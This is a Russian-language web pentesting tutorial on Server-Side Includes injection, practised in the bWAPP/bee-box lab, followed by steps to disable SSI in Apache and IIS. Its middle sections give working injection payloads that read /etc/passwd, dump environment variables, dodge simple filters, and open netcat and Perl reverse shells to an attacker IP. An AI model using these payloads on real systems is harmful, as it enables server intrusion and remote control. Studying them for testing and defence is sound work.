September 18

Server-Side Includes (SSI): менее известный вектор эксплуатации [Complete web app pentesting series #11]

Введение

Серверные включения (SSI) предоставляют разработчикам удобный способ динамического создания веб-страниц в контексте веб-разработки. SSI позволяют встраивать динамические элементы в HTML-документы без необходимости глубоких знаний серверного или клиентского программирования. Однако SSI не только оптимизируют производительность, но и представляют риски эксплуатации при неправильной конфигурации.

Эта статья рассматривает SSI с двух сторон: для разработчиков и для злоумышленников. Мы разберём типичные команды SSI, их уникальный синтаксис и методы манипуляции, которые могут привести к нежелательным последствиям.

Что такое SSI

SSI — это технология, при которой сервер обрабатывает специальные директивы, встроенные в HTML-комментарии. Такие директивы, как <!--#include--> и <!--#exec-->, указывают серверу на выполнение определённых инструкций перед отправкой HTML-контента клиенту. Если обработка SSI не выполняется, браузер интерпретирует их как обычные комментарии.

Лаборатория

Для выполнения лабораторных экспериментов мы будем использовать bee-box — умышленно уязвимое приложение, которое можно запускать на VMware с такими программами, как bWAPP. Вы можете скачать виртуальную машину по ссылке и использовать Google или YouTube для дополнительной информации. Лично я рекомендую устанавливать bee-box на VMware, так как другие методы, такие как Docker, вызывали ошибки в лаборатории по SSI-инъекциям.

Разбор директив SSI

Рассмотрим практические примеры директив SSI, их назначение, особенности синтаксиса и потенциальные уязвимости.

1. Просмотр системных файлов

<!--#exec cmd="cat /etc/passwd"-->

Эта директива через exec выполняет команду cat /etc/passwd, которая отображает информацию об учетных записях в Unix-подобных системах. Злоумышленник, использующий SSI-инъекцию, может получить доступ к чувствительным данным, если сервер неправильно настроен.

Директива встроена в HTML-комментарий, что делает её незаметной для браузера, но сервер, поддерживающий SSI, выполнит команду. Это позволяет интегрировать SSI в обычный HTML-код.

2. Список содержимого директории

<!--#exec cmd="ls" -- >

Директива exec выполняет команду ls, отображая файлы и директории в текущей рабочей папке. Это простой способ узнать структуру файлов на сервере.

Обратите внимание на дополнительный пробел в закрывающем теге (-- > вместо -->). Такие модификации синтаксиса могут использоваться для обхода простых файрволов.

3. Вывод переменных окружения

SSI также позволяет раскрывать информацию через переменные окружения. Рассмотрим примеры:

a. Имя документа:

<!--#echo var="DOCUMENT_NAME" — >

Эта директива выводит значение переменной DOCUMENT_NAME, обычно содержащей имя текущего файла. Полезно для проверки работы SSI и получения метаданных.

b. Дата последнего изменения:

<!--#echo var="LAST_MODIFIED" -->

Директива echo отображает переменную LAST_MODIFIED, показывающую дату последнего изменения файла. Эта информация может быть полезна как для разработчиков, так и для злоумышленников.

c. URI документа:

<!--#echo var="DOCUMENT_URI" — >

Выводит DOCUMENT_URI, показывающий путь к файлу на сервере. Это помогает понять внутреннюю маршрутизацию сервера.

4. Вывод всех переменных окружения

<!--#printenv -->

Директива printenv отображает все переменные окружения сервера. Для злоумышленника это ценный источник информации, включая конфигурационные данные и потенциальные секреты.

5. Создание обратной оболочки с Netcat

<!--#exec cmd="nc 192.168.1.9 443 -e /bin/sh" -->

Эта директива пытается создать обратную оболочку, подключаясь к серверу злоумышленника (192.168.1.9:443) с помощью Netcat. Если команда выполняется успешно, атакующий получает интерактивный доступ к серверу.

Важно: Вывод команды отображается на веб-странице, а не перенаправляется в Netcat. Это связано с тем, что сервер захватывает STDOUT и включает его в HTML-ответ.

Примеры вывода после выполнения команд:

pwd
/var/www/bWAPP
whoami
www-data

Вывод на стороне Netcat:

/var/www/bWAPP via
❯ sudo nc -lvnp 443
Listening on 0.0.0.0 443
ls
Connection received on 192.168.1.7 48389
ls
whoami
pwd

6. Создание обратной оболочки на Perl

<!--#exec cmd="perl -e 'use Socket;$i=\"192.168.1.9\";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));connect(S,sockaddr_in($p,inet_aton($i)));while(<S>){system($_);}'" -->

Этот скрипт открывает TCP-соединение и выполняет команды, поступающие от злоумышленника. Вывод может отображаться на веб-странице из-за направления в STDOUT.

Для создания полноценной интерактивной оболочки требуется перенаправление потоков ввода-вывода:

<!--#exec cmd="perl -e 'use Socket;$i=\"192.168.1.9\";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,\"<&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");'" -->

Ключевые изменения:

  • open(STDIN,"<&S");
  • open(STDOUT,">&S");
  • open(STDERR,">&S");

Эти команды перенаправляют потоки к Netcat, делая сессию полностью интерактивной. Однако в реальных условиях этот код может не сработать, ломая приложение.

7. Отображение локальной даты

<!--#echo var="DATE_LOCAL" -->

Эта директива показывает текущую дату и время сервера. Знание временных настроек сервера может помочь злоумышленникам синхронизировать атаки.

Почему синтаксис выглядит странно?

Директивы SSI могут показаться запутанными по следующим причинам:

  • Обёртка в HTML-комментарии: Директивы используют синтаксис <!--#command-->, чтобы браузер игнорировал их, если сервер не поддерживает SSI.
  • Обход безопасности: Злоумышленники могут добавлять пробелы или изменять регистр символов, чтобы обойти простые системы защиты.
  • Двойное назначение: Директивы должны быть одновременно валидным HTML и интерпретируемыми серверными командами, что усложняет синтаксис.

Устранение уязвимостей SSI

SSI предоставляют удобный способ динамического включения контента, но без должной защиты они становятся уязвимыми. В Apache SSI обычно активируется для файлов с расширением .shtml. Чтобы защитить сервер, можно полностью отключить SSI или настроить его безопасно.

Отключение SSI в Apache

Метод 1: Изменение основного конфигурационного файла

1. Найдите конфигурационный файл:

    • /etc/httpd/conf/httpd.conf (CentOS/RedHat)
    • /etc/apache2/apache2.conf (Ubuntu/Debian)

2. Откройте файл и найдите блок <Directory>.

3. Отключите SSI:

Options -Includes

4. Перезапустите Apache:

sudo systemctl restart apache2
# или
sudo service httpd restart

Метод 2: Использование файла .htaccess

1. Перейдите в директорию, например, /var/www/html/insecure-dir:

cd /var/www/html/insecure-dir

2. Создайте или отредактируйте .htaccess:

nano .htaccess

3. Добавьте:

Options -Includes

4. Сохраните и выйдите.

Метод 3: Удаление обработчиков SSI

Удалите обработку расширений, связанных с SSI:

RemoveHandler .shtml

Отключение SSI в IIS

Метод 1: Использование IIS Manager

1. Откройте IIS Manager и выберите сайт.

2. Перейдите в Handler Mappings, найдите обработчики SSI и удалите или отключите их.

Метод 2: Редактирование applicationHost.config

1. Найдите файл: C:\Windows\System32\inetsrv\config\applicationHost.config.

2. В разделе <system.webServer> добавьте:

<serverSideInclude ssiExecDisable="true" />

3. Перезапустите IIS.

Метод 3: Отключение просмотра директорий

В IIS Manager отключите Directory Browsing для сайта.

Заключение

SSI упрощают разработку динамических веб-страниц, но без должной защиты становятся уязвимым местом. Понимание работы директив SSI, от простых команд echo до сложных оболочек, показывает их потенциал и риски. Разработчикам следует строго контролировать пользовательский ввод и избегать небезопасных конфигураций SSI. Защита веб-инфраструктуры требует глубокого понимания всех технологий, включая устаревшие, такие как SSI.

Оригинальная статья | Перевод: THREAD